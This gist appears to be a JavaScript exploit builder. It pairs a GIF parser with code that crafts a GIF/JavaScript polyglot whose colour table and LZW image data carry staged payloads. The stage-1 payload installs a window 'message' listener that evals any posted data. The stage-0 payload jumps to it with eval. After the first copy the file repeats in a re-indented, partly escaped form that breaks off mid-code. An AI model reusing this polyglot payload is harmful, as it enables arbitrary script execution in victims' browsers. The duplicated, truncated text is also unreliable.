0xBADCA7/gist:e5cabff3cc1f984c2b0a

## gistfile1.html
<html lang="en">
 <head>
  <script>

function str2hex(str)
{
  var out_str = " ";

	for(var i = 0; i < str.length; i++)
	{
		if(str.charCodeAt(i) < 0x10)
			out_str += '0';

		out_str += str.charCodeAt(i).toString(16);

		if(i + 1 < str.length)
			out_str += ' ';
	}

	console.log(out_str);
}

function my_outp(img)
{
	var out_str = "";
	/*
	for(var i = 0; i < img.pixels.length; i++)
	{
		out_str += img.pixels[i].toString();

		out_str += " color : " + JSON.stringify(my_hdr.gct[img.pixels[i]]);

		if((i + 1) % img.width == 0)
		{
			out_str += "\r\n";
		}
		else
		{
			out_str += ",";
		}
	}*/

	console.log(out_str);
	console.log("expected height: " + img.height);
	console.log("real height: " + Math.ceil(img.pixels.length / img.width));
}


  //LZW Compression/Decompression for Strings
var LZW = {
    compress: function (uncompressed) {
        "use strict";
        // Build the dictionary.
        var i,
            dictionary = {},
            c,
            wc,
            w = "",
            result = [],
            dictSize = 128;
        for (i = 0; i < dictSize; i++) {
            dictionary[String.fromCharCode(i)] = i;
        }

        for (i = 0; i < uncompressed.length; i += 1) {
            c = uncompressed.charAt(i);
            wc = w + c;
            if (dictionary[wc]) {
                w = wc;
            } else {
                result.push(dictionary[w]);
                // Add wc to the dictionary.
                dictionary[wc] = dictSize++;
                w = String(c);
            }
        }

        // Output the code for w.
        if (w !== "") {
            result.push(dictionary[w]);
        }
        return result;
    },


    decompress: function (compressed) {
        "use strict";
        // Build the dictionary.
        var i,
            dictionary = [],
            w,
            result,
            k,
            entry = "",
            dictSize = 256;
        for (i = 0; i < 256; i += 1) {
            dictionary[i] = String.fromCharCode(i);
        }

        w = String.fromCharCode(compressed[0]);
        result = w;
        for (i = 1; i < compressed.length; i += 1) {
            k = compressed[i];
            if (dictionary[k]) {
                entry = dictionary[k];
            } else {
                if (k === dictSize) {
                    entry = w + w.charAt(0);
                } else {
                    return null;
                }
            }

            result += entry;

            // Add w+entry[0] to the dictionary.
            dictionary[dictSize++] = w + entry.charAt(0);

            w = entry;
        }
        return result;
    }
} // For Test Purposes
    //comp = LZW.compress("TOBEORNOTTOBEORTOBEORNOT"),
    //decomp = LZW.decompress(comp);


	// Generic functions
var bitsToNum = function(ba) {
  return ba.reduce(function(s, n) { return s * 2 + n; }, 0);
};

var b2c = function(bits)
{
	if(bits.length > 8)
		console.out("WARNING: too many bits");

	return String.fromCharCode(bitsToNum(bits));
}

var byteToBitArr = function(bite) {
  var a = [];
  for (var i = 7; i >= 0; i--) {
    a.push(!!(bite & (1 << i)));
  }
  return a;
};

// Stream
/**
 * @constructor
 */ // Make compiler happy.
var Stream = function(data) {
  this.data = data;
  this.len = this.data.length;
  this.pos = 0;

  this.readByte = function() {
    if (this.pos >= this.data.length) {
      throw new Error('Attempted to read past end of stream.');
    }
    return data.charCodeAt(this.pos++) & 0xFF;
  };

  this.readBytes = function(n) {
    var bytes = [];
    for (var i = 0; i < n; i++) {
      bytes.push(this.readByte());
    }
    return bytes;
  };

  this.read = function(n) {
    var s = '';
    for (var i = 0; i < n; i++) {
      s += String.fromCharCode(this.readByte());
    }
    return s;
  };

  this.readUnsigned = function() { // Little-endian.
    var a = this.readBytes(2);
    return (a[1] << 8) + a[0];
  };
};

var lzwDecode = function(minCodeSize, data) {
  // TODO: Now that the GIF parser is a bit different, maybe this should get an array of bytes instead of a String?
  var pos = 0; // Maybe this streaming thing should be merged with the Stream?

  var readCode = function(size) {
    var code = 0;
    for (var i = 0; i < size; i++) {
      var abs_idx = pos >> 3;
      if(abs_idx >= data.length)
      {
         throw new Error('Attempted to read past end of lzw raw data.');
      }

      if (data.charCodeAt(abs_idx) & (1 << (pos & 7))) {
        code |= 1 << i;
      }
      pos++;
    }
    return code;
  };

  var output = [];

  var clearCode = 1 << minCodeSize;
  var eoiCode = clearCode + 1;

  var codeSize = minCodeSize + 1;

  var dict = [];

  var clear = function() {
    dict = [];
    codeSize = minCodeSize + 1;
    for (var i = 0; i < clearCode; i++) {
      dict[i] = [i];
    }
    dict[clearCode] = [];
    dict[eoiCode] = null;

  };

  var code;
  var last;

var code_num = 0;

	var bitsFromInt = function(num)
	{
		var bit_arr = byteToBitArr(num);

		for (key in bit_arr)
		{
			bit_arr[key] = bit_arr[key] ? 1 : 0;
		}

		return JSON.stringify(bit_arr)
	}

  var dbg_info = function()
  {
	var abs_pos = (pos - codeSize) >> 3;

	var bitAtPos = function(target_pos)
	{
		return bitsFromInt(data.charCodeAt(target_pos));
	}


	console.log("+ " + code_num + " code: " + code + " of codeSize: " + codeSize + ", num pixels: " + output.length + ", dict len:: " + dict.length + ", start char [" + (abs_pos + 1) + "]: \\u00" + data.charCodeAt(abs_pos).toString(16) + " : " + data.substr(abs_pos, 1) + " : " + bitAtPos(abs_pos) + " , " + bitAtPos(abs_pos + 1) );
  }

  while (true) {
 code_num++;
    last = code;
    code = readCode(codeSize);

    if (code === clearCode) {
var _codeSizeOld = codeSize;
      clear();
// debug
codeSize = _codeSizeOld;
dbg_info();
codeSize = minCodeSize + 1
      continue;
    }
    if (code === eoiCode)
	{
// comment
dbg_info();
		break;
	}

    if (code < dict.length) {
      if (last !== clearCode) {
        dict.push(dict[last].concat(dict[code][0]));
      }
    } else {
      if (code !== dict.length) { console.log("!!!!"); dbg_info(); throw new Error('Invalid LZW code: ' + code + " " + bitsFromInt(code)); }
      dict.push(dict[last].concat(dict[last][0]));
    }
    output.push.apply(output, dict[code]);

// comment
dbg_info();

    if (dict.length === (1 << codeSize) && codeSize < 12) {
      // If we're at the last code and codeSize is 12, the next code will be a clearCode, and it'll be 12 bits long.
      codeSize++;
    }
  }
console.log("==last code: " + code + ", codeSize: " + codeSize);
  // I don't know if this is technically an error, but some GIFs do it.
  //if (Math.ceil(pos / 8) !== data.length) throw new Error('Extraneous LZW bytes.');
  return output;
};

// The actual parsing; returns an object with properties.
var parseGIF = function(st, handler) {
  handler || (handler = {});

  // LZW (GIF-specific)
  var parseCT = function(entries) { // Each entry is 3 bytes, for RGB.
    var ct = [];
    for (var i = 0; i < entries; i++) {
      ct.push(st.readBytes(3));
    }
    return ct;
  };

  var readSubBlocks = function() {
      var size, data;
      data = '';
      do {
        size = st.readByte();
        data += st.read(size);
      } while (size !== 0);
      return data;
  };

  var parseHeader = function() {
    var hdr = {};
    hdr.sig = st.read(3);
    hdr.ver = st.read(3);
    if (hdr.sig !== 'GIF') throw new Error('Not a GIF file.'); // XXX: This should probably be handled more nicely.

    hdr.width = st.readUnsigned();
    hdr.height = st.readUnsigned();

    var bits = byteToBitArr(st.readByte());
    hdr.gctFlag = bits.shift();
    hdr.colorRes = bitsToNum(bits.splice(0, 3));
    hdr.sorted = bits.shift();
    hdr.gctSize = bitsToNum(bits.splice(0, 3));

    hdr.bgColor = st.readByte();
    hdr.pixelAspectRatio = st.readByte(); // if not 0, aspectRatio = (pixelAspectRatio + 15) / 64

    if (hdr.gctFlag) {
      hdr.gct = parseCT(1 << (hdr.gctSize + 1));
    }
    handler.hdr && handler.hdr(hdr);
  };

  var parseExt = function(block) {
    var parseGCExt = function(block) {
      var blockSize = st.readByte(); // Always 4

      var bits = byteToBitArr(st.readByte());
      block.reserved = bits.splice(0, 3); // Reserved; should be 000.
      block.disposalMethod = bitsToNum(bits.splice(0, 3));
      block.userInput = bits.shift();
      block.transparencyGiven = bits.shift();

      block.delayTime = st.readUnsigned();

      block.transparencyIndex = st.readByte();

      block.terminator = st.readByte();

      handler.gce && handler.gce(block);
    };

    var parseComExt = function(block) {
      block.comment = readSubBlocks();
      handler.com && handler.com(block);
    };

    var parsePTExt = function(block) {
      // No one *ever* uses this. If you use it, deal with parsing it yourself.
      var blockSize = st.readByte(); // Always 12
      block.ptHeader = st.readBytes(12);
      block.ptData = readSubBlocks();
      handler.pte && handler.pte(block);
    };

    var parseAppExt = function(block) {
      var parseNetscapeExt = function(block) {
        var blockSize = st.readByte(); // Always 3
        block.unknown = st.readByte(); // ??? Always 1? What is this?
        block.iterations = st.readUnsigned();
        block.terminator = st.readByte();
        handler.app && handler.app.NETSCAPE && handler.app.NETSCAPE(block);
      };

      var parseUnknownAppExt = function(block) {
          block.appData = readSubBlocks();
          // FIXME: This won't work if a handler wants to match on any identifier.
          handler.app && handler.app[block.identifier] && handler.app[block.identifier](block);
      };

      var blockSize = st.readByte(); // Always 11
      block.identifier = st.read(8);
      block.authCode = st.read(3);
      switch (block.identifier) {
        case 'NETSCAPE':
          parseNetscapeExt(block);
          break;
        default:
          parseUnknownAppExt(block);
          break;
      }
    };

    var parseUnknownExt = function(block) {
        block.data = readSubBlocks();
        handler.unknown && handler.unknown(block);
    };

    block.label = st.readByte();
    switch (block.label) {
      case 0xF9:
        block.extType = 'gce';
        parseGCExt(block);
        break;
      case 0xFE:
        block.extType = 'com';
        parseComExt(block);
        break;
      case 0x01:
        block.extType = 'pte';
        parsePTExt(block);
        break;
      case 0xFF:
        block.extType = 'app';
        parseAppExt(block);
        break;
      default:
        block.extType = 'unknown';
        parseUnknownExt(block);
        break;
    }
  };

  var parseImg = function(img) {
    var deinterlace = function(pixels, width) {
      // Of course this defeats the purpose of interlacing. And it's *probably*
      // the least efficient way it's ever been implemented. But nevertheless...

      var newPixels = new Array(pixels.length);
      var rows = pixels.length / width;
      var cpRow = function(toRow, fromRow) {
        var fromPixels = pixels.slice(fromRow * width, (fromRow + 1) * width);
        newPixels.splice.apply(newPixels, [toRow * width, width].concat(fromPixels));
      };

      // See appendix E.
      var offsets = [0,4,2,1];
      var steps   = [8,8,4,2];

      var fromRow = 0;
      for (var pass = 0; pass < 4; pass++) {
        for (var toRow = offsets[pass]; toRow < rows; toRow += steps[pass]) {
          cpRow(toRow, fromRow)
          fromRow++;
        }
      }

      return newPixels;
    };

    img.leftPos = st.readUnsigned();
    img.topPos = st.readUnsigned();
    img.width = st.readUnsigned();
    img.height = st.readUnsigned();

    var bits = byteToBitArr(st.readByte());
    img.lctFlag = bits.shift();
    img.interlaced = bits.shift();
    img.sorted = bits.shift();
    img.reserved = bits.splice(0, 2);
    img.lctSize = bitsToNum(bits.splice(0, 3));

    if (img.lctFlag) {
      img.lct = parseCT(1 << (img.lctSize + 1));
    }

    img.lzwMinCodeSize = st.readByte();

    var lzwData = readSubBlocks();

    img.pixels = lzwDecode(img.lzwMinCodeSize, lzwData);

    if (img.interlaced) { // Move
      img.pixels = deinterlace(img.pixels, img.width);
    }

    handler.img && handler.img(img);
  };

  var parseBlock = function() {
    var block = {};
    block.sentinel = st.readByte();

    switch (String.fromCharCode(block.sentinel)) { // For ease of matching
      case '!':
        block.type = 'ext';
        parseExt(block);
        break;
      case ',':
        block.type = 'img';
        parseImg(block);
        break;
      case ';':
        block.type = 'eof';
        handler.eof && handler.eof(block);
        break;
      default:
        throw new Error('Unknown block: 0x' + block.sentinel.toString(16)); // TODO: Pad this with a 0.
    }

    if (block.type !== 'eof') setTimeout(parseBlock, 0);
  };

  var parse = function() {
    parseHeader();
    setTimeout(parseBlock, 0);
  };

  parse();
};

// BEGIN_NON_BOOKMARKLET_CODE
if (typeof exports !== 'undefined') {
  exports.Stream = Stream;
  exports.parseGIF = parseGIF;
}
// END_NON_BOOKMARKLET_CODE

var my_hdr = {};


// =================================================================================
// line_256_half_15
// =================================================================================
var stage1_payload = "Y=window;if(!Y.k8){Y.k8=1;(Y.addEventListener||Y.attachEvent)('message',function(b){eval(b.data)})};  ";
var color_map_shift = 2;
var payload4 =

	// clear
	"\u0080" +

	// utf8 align
	"\u0065\u0066\u0064" +

	// payload left guard
	'",' +

	// stage0 payload: jump to color map
	"eval(ma.substr(" + (12 + color_map_shift).toString(10) + "," + stage1_payload.length.toString(10) + "))"+

	// payload right guard
	',9)//'+

	// Upper part of color table
	"\u0041\u0042";


function OutStream()
{
    this.bytestream = new Array();
    this.offset = 0;

    this.WriteBit = function(val)
    {
       	this.bytestream[this.offset>>>3] |= val << (this.offset & 7);
        this.offset++;
    }

    this.Write = function(val, numBits)
    {
        // Write LSB -> MSB
        for(var i = 0; i < numBits; ++i)
            this.WriteBit((val >>> i) & 1);
    }
}

var garbage4 = new OutStream();

for(var ch = 0; ch < payload4.length; ch++)
	garbage4.Write(payload4.charCodeAt(ch), 8);

var single_byte_align_len = 128 - payload4.length;
for(var ch = 0; ch < single_byte_align_len; ch++)
	garbage4.Write(ch + 0x80 + payload4.length, 8);

var limit = 254;
var blocks = "";

for(var ch = 0; ch < 153; ch++)
{
	// If no place in current block
	if(garbage4.bytestream.length >= limit - (garbage4.offset % 8 == 0 ? 1 : 0))
	{
		// Push this one

		// Block length
		blocks += String.fromCharCode(garbage4.bytestream.length);

		// Block data
		for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++)
			blocks += String.fromCharCode(garbage4.bytestream[_ch]);

		// Renew
		garbage4 = new OutStream();
	}

	garbage4.Write(ch + 0x80 + payload4.length + single_byte_align_len, 9);

	// If unwillingly inserted \r\n
	if(garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0d || garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0d ||
		garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0a || garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0a)
	{
		//debugger;
		// Get rid of, rollback
		garbage4.offset -= 9;
		garbage4.bytestream[garbage4.bytestream.length - 1] = 0;
		garbage4.Write(0x47, 9);
	}
}

for(var ch = 0; ch < 30; ch ++)
	garbage4.Write(0x83 + ch, 9);

if(garbage4.bytestream.length > 0)
{
	// Finalize block
	garbage4.Write(0x81, 9);

	// Push

	// Block length
	blocks += String.fromCharCode(garbage4.bytestream.length);

	// Block data
	for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++)
		blocks += String.fromCharCode(garbage4.bytestream[_ch]);
}

var color_map_full = "\u0020\u0020\u0020\u0001\u0001\u0001\u0002\u0002\u0002\u0003\u0003\u0003\u0004\u0004\u0004\u0005\u0005\u0005\u0006\u0006\u0006\u0007\u0007\u0007\u0008\u0008\u0008\u0009\u0009\u0009\u0041\u0042\u0043\u000B\u000B\u000B\u000C\u000C\u000C\u0042\u0043\u0044\u000E\u000E\u000E\u000F\u000F\u000F\u0010\u0010\u0010\u0011\u0011\u0011\u0012\u0012\u0012\u0013\u0013\u0013\u0014\u0014\u0014\u0015\u0015\u0015\u0016\u0016\u0016\u0017\u0017\u0017\u0018\u0018\u0018\u0019\u0019\u0019\u001A\u001A\u001A\u001B\u001B\u001B\u001C\u001C\u001C\u001D\u001D\u001D\u001E\u001E\u001E\u001F\u001F\u001F\u0020\u0020\u0020\u0021\u0021\u0021\u0020\u0000\u0020\u0023\u0023\u0023\u0024\u0024\u0024\u0025\u0025\u0025\u0026\u0026\u0026\u0027\u0027\u0027\u0028\u0028\u0028\u0029\u0029\u0029\u002A\u002A\u002A\u002B\u002B\u002B\u002C\u002C\u002C\u002D\u002D\u002D\u002E\u002E\u002E\u002F\u002F\u002F\u0030\u0030\u0030\u0031\u0031\u0031\u0032\u0032\u0032\u0033\u0033\u0033\u0034\u0034\u0034\u0035\u0035\u0035\u0036\u0036\u0036\u0037\u0037\u0037\u0038\u0038\u0038\u0039\u0039\u0039\u003A\u003A\u003A\u003B\u003B\u003B\u003C\u003C\u003C\u003D\u003D\u003D\u003E\u003E\u003E\u003F\u003F\u003F\u0040\u0040\u0040\u0041\u0041\u0041\u0042\u0042\u0042\u0043\u0043\u0043\u0044\u0044\u0044\u0045\u0045\u0045\u0046\u0046\u0046\u0047\u0047\u0047\u0048\u0048\u0048\u0049\u0049\u0049\u004A\u004A\u004A\u004B\u004B\u004B\u004C\u004C\u004C\u004D\u004D\u004D\u004E\u004E\u004E\u004F\u004F\u004F\u0050\u0050\u0050\u0051\u0051\u0051\u0052\u0052\u0052\u0053\u0053\u0053\u0054\u0054\u0054\u0055\u0055\u0055\u0056\u0056\u0056\u0057\u0057\u0057\u0058\u0058\u0058\u0059\u0059\u0059\u005A\u005A\u005A\u005B\u005B\u005B\u005C\u005C\u005C\u005D\u005D\u005D\u005E\u005E\u005E\u005F\u005F\u005F\u0060\u0060\u0060\u0061\u0061\u0061\u0062\u0062\u0062\u0063\u0063\u0063\u0064\u0064\u0064\u0065\u0065\u0065\u0066\u0066\u0066\u0067\u0067\u0067\u0068\u0068\u0068\u0069\u0069\u0069\u006A\u006A\u006A\u006B\u006B\u006B\u006C\u006C\u006C\u006D\u006D\u006D\u006E\u006E\u006E\u006F\u006F\u006F\u0070\u0070\u0070\u0071\u0071\u0071\u0072\u0072\u0072\u0073\u0073\u0073\u0074\u0074\u0074\u0075\u0075\u0075\u0076\u0076\u0076\u0077\u0077\u0077\u0078\u0078\u0078\u0079\u0079\u0079\u007A\u007A\u007A\u007B\u007B\u007B\u007C\u007C\u007C\u007D\u007D\u007D\u007E\u007E\u007E\u007F\u007F\u007F";
var height4 = "\u005c\u0022";
var line_256_half_4 =
	"\u0047\u0049\u0046\u0038\u0037\u0061\u0001\u0000" + height4 +

	// Global settings flag
	"\u00C6" +

	// Background color + reserved byte
	"\u0000\u0000" +

	// Color map with stage 1 payload
	color_map_full.substr(0, color_map_shift) + stage1_payload + color_map_full.substr(color_map_shift + stage1_payload.length) +

	"\u002C\u0000\u0000\u0000\u0000\u0001\u0000" +

	height4 + "\u0000\u0007";

line_256_half_4 += blocks;

// End
line_256_half_4 += "\u0000\u003B";


// checking payload
var payload4_rep_seq = false;
for(var payload4_i = 0; payload4_i < payload4.length - 1 && !payload4_rep_seq; payload4_i++)
{
	var seq = payload4.substr(payload4_i, 2);
	var search_target = payload4.substr(payload4_i + 1);
	var tw_occurence = search_target.indexOf(seq);
	payload4_rep_seq = tw_occurence != -1;

	if(payload4_rep_seq)
	{
		// draw markers
		var mrk = "";
		var mrk_pos = 0
		for(; mrk_pos < payload4_i - 1; mrk_pos++)
			mrk += " ";
		mrk += "|";
		for(; mrk_pos < tw_occurence + payload4_i - 1; mrk_pos++)
			mrk += " ";
		mrk += "|";
		console.log(payload4);
		console.log(mrk);

		console.log("seq " + seq + " occurs twice: at " + payload4_i + " and " + (tw_occurence + payload4_i + 1));
	}
}

if(!payload4_rep_seq)
{
	d(line_256_half_4);
	setTimeout(function(){ str2hex(line_256_half_4); }, 500);
}

function d(_data)
{
	my_hdr = {};
	var my_st = new Stream(_data);
	var my_parser = new parseGIF(my_st, {"img": my_outp, "hdr": function(hdr) { my_hdr = hdr }});
}

function pr()
{
	function tohex(str)
	{
		var out_str = "";

		for(var i = 0; i < str.length; i++)
		{
			if(str.charCodeAt(i) < 0x10)
				out_str += '0';

			out_str += str.charCodeAt(i).toString(16);

			if(i + 1 < str.length)
				out_str += ' ';
		}

		console.log(out_str);
	}

	var out_map = "";

	for(i = 0; i < 128; i++)
	{
		out_map += "\u0000\u0000" + String.fromCharCode(i) + "\u00ff";
	}

	for(i = 128; i < 256; i++)
	{
		out_map += "\u0000\u0000\u0000\u00ff";
	}

	var out_img = "";
	var height = 8796;

	for(i = 0; i < 128; i++)
	{
		out_img += String.fromCharCode(i) + "\u0000\u0000\u0000";
	}

	for(i = 128; i < height; i++)
	{
		out_img += "\u0000\u0000\u0000\u0000";
	}

	var output = out_map + out_img;
	console.log("total length: " + output.length + "(" + (output.length >> 2) + ")");
	tohex(out_map);
	tohex(out_img);
}
  </script>

 </body>
</html>
	<html lang="en">
	<head>
	<script>

	function str2hex(str)
	{
	var out_str = " ";

	for(var i = 0; i < str.length; i++)
	{
	if(str.charCodeAt(i) < 0x10)
	out_str += '0';

	out_str += str.charCodeAt(i).toString(16);

	if(i + 1 < str.length)
	out_str += ' ';
	}

	console.log(out_str);
	}

	function my_outp(img)
	{
	var out_str = "";
	/*
	for(var i = 0; i < img.pixels.length; i++)
	{
	out_str += img.pixels[i].toString();

	out_str += " color : " + JSON.stringify(my_hdr.gct[img.pixels[i]]);

	if((i + 1) % img.width == 0)
	{
	out_str += "\r\n";
	}
	else
	{
	out_str += ",";
	}
	}*/

	console.log(out_str);
	console.log("expected height: " + img.height);
	console.log("real height: " + Math.ceil(img.pixels.length / img.width));
	}




	//LZW Compression/Decompression for Strings
	var LZW = {
	compress: function (uncompressed) {
	"use strict";
	// Build the dictionary.
	var i,
	dictionary = {},
	c,
	wc,
	w = "",
	result = [],
	dictSize = 128;
	for (i = 0; i < dictSize; i++) {
	dictionary[String.fromCharCode(i)] = i;
	}

	for (i = 0; i < uncompressed.length; i += 1) {
	c = uncompressed.charAt(i);
	wc = w + c;
	if (dictionary[wc]) {
	w = wc;
	} else {
	result.push(dictionary[w]);
	// Add wc to the dictionary.
	dictionary[wc] = dictSize++;
	w = String(c);
	}
	}

	// Output the code for w.
	if (w !== "") {
	result.push(dictionary[w]);
	}
	return result;
	},


	decompress: function (compressed) {
	"use strict";
	// Build the dictionary.
	var i,
	dictionary = [],
	w,
	result,
	k,
	entry = "",
	dictSize = 256;
	for (i = 0; i < 256; i += 1) {
	dictionary[i] = String.fromCharCode(i);
	}

	w = String.fromCharCode(compressed[0]);
	result = w;
	for (i = 1; i < compressed.length; i += 1) {
	k = compressed[i];
	if (dictionary[k]) {
	entry = dictionary[k];
	} else {
	if (k === dictSize) {
	entry = w + w.charAt(0);
	} else {
	return null;
	}
	}

	result += entry;

	// Add w+entry[0] to the dictionary.
	dictionary[dictSize++] = w + entry.charAt(0);

	w = entry;
	}
	return result;
	}
	} // For Test Purposes
	//comp = LZW.compress("TOBEORNOTTOBEORTOBEORNOT"),
	//decomp = LZW.decompress(comp);





	// Generic functions
	var bitsToNum = function(ba) {
	return ba.reduce(function(s, n) { return s * 2 + n; }, 0);
	};

	var b2c = function(bits)
	{
	if(bits.length > 8)
	console.out("WARNING: too many bits");

	return String.fromCharCode(bitsToNum(bits));
	}

	var byteToBitArr = function(bite) {
	var a = [];
	for (var i = 7; i >= 0; i--) {
	a.push(!!(bite & (1 << i)));
	}
	return a;
	};

	// Stream
	/**
	* @constructor
	*/ // Make compiler happy.
	var Stream = function(data) {
	this.data = data;
	this.len = this.data.length;
	this.pos = 0;

	this.readByte = function() {
	if (this.pos >= this.data.length) {
	throw new Error('Attempted to read past end of stream.');
	}
	return data.charCodeAt(this.pos++) & 0xFF;
	};

	this.readBytes = function(n) {
	var bytes = [];
	for (var i = 0; i < n; i++) {
	bytes.push(this.readByte());
	}
	return bytes;
	};

	this.read = function(n) {
	var s = '';
	for (var i = 0; i < n; i++) {
	s += String.fromCharCode(this.readByte());
	}
	return s;
	};

	this.readUnsigned = function() { // Little-endian.
	var a = this.readBytes(2);
	return (a[1] << 8) + a[0];
	};
	};

	var lzwDecode = function(minCodeSize, data) {
	// TODO: Now that the GIF parser is a bit different, maybe this should get an array of bytes instead of a String?
	var pos = 0; // Maybe this streaming thing should be merged with the Stream?

	var readCode = function(size) {
	var code = 0;
	for (var i = 0; i < size; i++) {
	var abs_idx = pos >> 3;
	if(abs_idx >= data.length)
	{
	throw new Error('Attempted to read past end of lzw raw data.');
	}

	if (data.charCodeAt(abs_idx) & (1 << (pos & 7))) {
	code \|= 1 << i;
	}
	pos++;
	}
	return code;
	};

	var output = [];

	var clearCode = 1 << minCodeSize;
	var eoiCode = clearCode + 1;

	var codeSize = minCodeSize + 1;

	var dict = [];

	var clear = function() {
	dict = [];
	codeSize = minCodeSize + 1;
	for (var i = 0; i < clearCode; i++) {
	dict[i] = [i];
	}
	dict[clearCode] = [];
	dict[eoiCode] = null;

	};

	var code;
	var last;

	var code_num = 0;

	var bitsFromInt = function(num)
	{
	var bit_arr = byteToBitArr(num);

	for (key in bit_arr)
	{
	bit_arr[key] = bit_arr[key] ? 1 : 0;
	}

	return JSON.stringify(bit_arr)
	}

	var dbg_info = function()
	{
	var abs_pos = (pos - codeSize) >> 3;

	var bitAtPos = function(target_pos)
	{
	return bitsFromInt(data.charCodeAt(target_pos));
	}


	console.log("+ " + code_num + " code: " + code + " of codeSize: " + codeSize + ", num pixels: " + output.length + ", dict len:: " + dict.length + ", start char [" + (abs_pos + 1) + "]: \\u00" + data.charCodeAt(abs_pos).toString(16) + " : " + data.substr(abs_pos, 1) + " : " + bitAtPos(abs_pos) + " , " + bitAtPos(abs_pos + 1) );
	}

	while (true) {
	code_num++;
	last = code;
	code = readCode(codeSize);

	if (code === clearCode) {
	var _codeSizeOld = codeSize;
	clear();
	// debug
	codeSize = _codeSizeOld;
	dbg_info();
	codeSize = minCodeSize + 1
	continue;
	}
	if (code === eoiCode)
	{
	// comment
	dbg_info();
	break;
	}

	if (code < dict.length) {
	if (last !== clearCode) {
	dict.push(dict[last].concat(dict[code][0]));
	}
	} else {
	if (code !== dict.length) { console.log("!!!!"); dbg_info(); throw new Error('Invalid LZW code: ' + code + " " + bitsFromInt(code)); }
	dict.push(dict[last].concat(dict[last][0]));
	}
	output.push.apply(output, dict[code]);

	// comment
	dbg_info();

	if (dict.length === (1 << codeSize) && codeSize < 12) {
	// If we're at the last code and codeSize is 12, the next code will be a clearCode, and it'll be 12 bits long.
	codeSize++;
	}
	}
	console.log("==last code: " + code + ", codeSize: " + codeSize);
	// I don't know if this is technically an error, but some GIFs do it.
	//if (Math.ceil(pos / 8) !== data.length) throw new Error('Extraneous LZW bytes.');
	return output;
	};

	// The actual parsing; returns an object with properties.
	var parseGIF = function(st, handler) {
	handler \|\| (handler = {});

	// LZW (GIF-specific)
	var parseCT = function(entries) { // Each entry is 3 bytes, for RGB.
	var ct = [];
	for (var i = 0; i < entries; i++) {
	ct.push(st.readBytes(3));
	}
	return ct;
	};

	var readSubBlocks = function() {
	var size, data;
	data = '';
	do {
	size = st.readByte();
	data += st.read(size);
	} while (size !== 0);
	return data;
	};

	var parseHeader = function() {
	var hdr = {};
	hdr.sig = st.read(3);
	hdr.ver = st.read(3);
	if (hdr.sig !== 'GIF') throw new Error('Not a GIF file.'); // XXX: This should probably be handled more nicely.

	hdr.width = st.readUnsigned();
	hdr.height = st.readUnsigned();

	var bits = byteToBitArr(st.readByte());
	hdr.gctFlag = bits.shift();
	hdr.colorRes = bitsToNum(bits.splice(0, 3));
	hdr.sorted = bits.shift();
	hdr.gctSize = bitsToNum(bits.splice(0, 3));

	hdr.bgColor = st.readByte();
	hdr.pixelAspectRatio = st.readByte(); // if not 0, aspectRatio = (pixelAspectRatio + 15) / 64

	if (hdr.gctFlag) {
	hdr.gct = parseCT(1 << (hdr.gctSize + 1));
	}
	handler.hdr && handler.hdr(hdr);
	};

	var parseExt = function(block) {
	var parseGCExt = function(block) {
	var blockSize = st.readByte(); // Always 4

	var bits = byteToBitArr(st.readByte());
	block.reserved = bits.splice(0, 3); // Reserved; should be 000.
	block.disposalMethod = bitsToNum(bits.splice(0, 3));
	block.userInput = bits.shift();
	block.transparencyGiven = bits.shift();

	block.delayTime = st.readUnsigned();

	block.transparencyIndex = st.readByte();

	block.terminator = st.readByte();

	handler.gce && handler.gce(block);
	};

	var parseComExt = function(block) {
	block.comment = readSubBlocks();
	handler.com && handler.com(block);
	};

	var parsePTExt = function(block) {
	// No one ever uses this. If you use it, deal with parsing it yourself.
	var blockSize = st.readByte(); // Always 12
	block.ptHeader = st.readBytes(12);
	block.ptData = readSubBlocks();
	handler.pte && handler.pte(block);
	};

	var parseAppExt = function(block) {
	var parseNetscapeExt = function(block) {
	var blockSize = st.readByte(); // Always 3
	block.unknown = st.readByte(); // ??? Always 1? What is this?
	block.iterations = st.readUnsigned();
	block.terminator = st.readByte();
	handler.app && handler.app.NETSCAPE && handler.app.NETSCAPE(block);
	};

	var parseUnknownAppExt = function(block) {
	block.appData = readSubBlocks();
	// FIXME: This won't work if a handler wants to match on any identifier.
	handler.app && handler.app[block.identifier] && handler.app[block.identifier](block);
	};

	var blockSize = st.readByte(); // Always 11
	block.identifier = st.read(8);
	block.authCode = st.read(3);
	switch (block.identifier) {
	case 'NETSCAPE':
	parseNetscapeExt(block);
	break;
	default:
	parseUnknownAppExt(block);
	break;
	}
	};

	var parseUnknownExt = function(block) {
	block.data = readSubBlocks();
	handler.unknown && handler.unknown(block);
	};

	block.label = st.readByte();
	switch (block.label) {
	case 0xF9:
	block.extType = 'gce';
	parseGCExt(block);
	break;
	case 0xFE:
	block.extType = 'com';
	parseComExt(block);
	break;
	case 0x01:
	block.extType = 'pte';
	parsePTExt(block);
	break;
	case 0xFF:
	block.extType = 'app';
	parseAppExt(block);
	break;
	default:
	block.extType = 'unknown';
	parseUnknownExt(block);
	break;
	}
	};

	var parseImg = function(img) {
	var deinterlace = function(pixels, width) {
	// Of course this defeats the purpose of interlacing. And it's probably
	// the least efficient way it's ever been implemented. But nevertheless...

	var newPixels = new Array(pixels.length);
	var rows = pixels.length / width;
	var cpRow = function(toRow, fromRow) {
	var fromPixels = pixels.slice(fromRow * width, (fromRow + 1) * width);
	newPixels.splice.apply(newPixels, [toRow * width, width].concat(fromPixels));
	};

	// See appendix E.
	var offsets = [0,4,2,1];
	var steps = [8,8,4,2];

	var fromRow = 0;
	for (var pass = 0; pass < 4; pass++) {
	for (var toRow = offsets[pass]; toRow < rows; toRow += steps[pass]) {
	cpRow(toRow, fromRow)
	fromRow++;
	}
	}

	return newPixels;
	};

	img.leftPos = st.readUnsigned();
	img.topPos = st.readUnsigned();
	img.width = st.readUnsigned();
	img.height = st.readUnsigned();

	var bits = byteToBitArr(st.readByte());
	img.lctFlag = bits.shift();
	img.interlaced = bits.shift();
	img.sorted = bits.shift();
	img.reserved = bits.splice(0, 2);
	img.lctSize = bitsToNum(bits.splice(0, 3));

	if (img.lctFlag) {
	img.lct = parseCT(1 << (img.lctSize + 1));
	}

	img.lzwMinCodeSize = st.readByte();

	var lzwData = readSubBlocks();

	img.pixels = lzwDecode(img.lzwMinCodeSize, lzwData);

	if (img.interlaced) { // Move
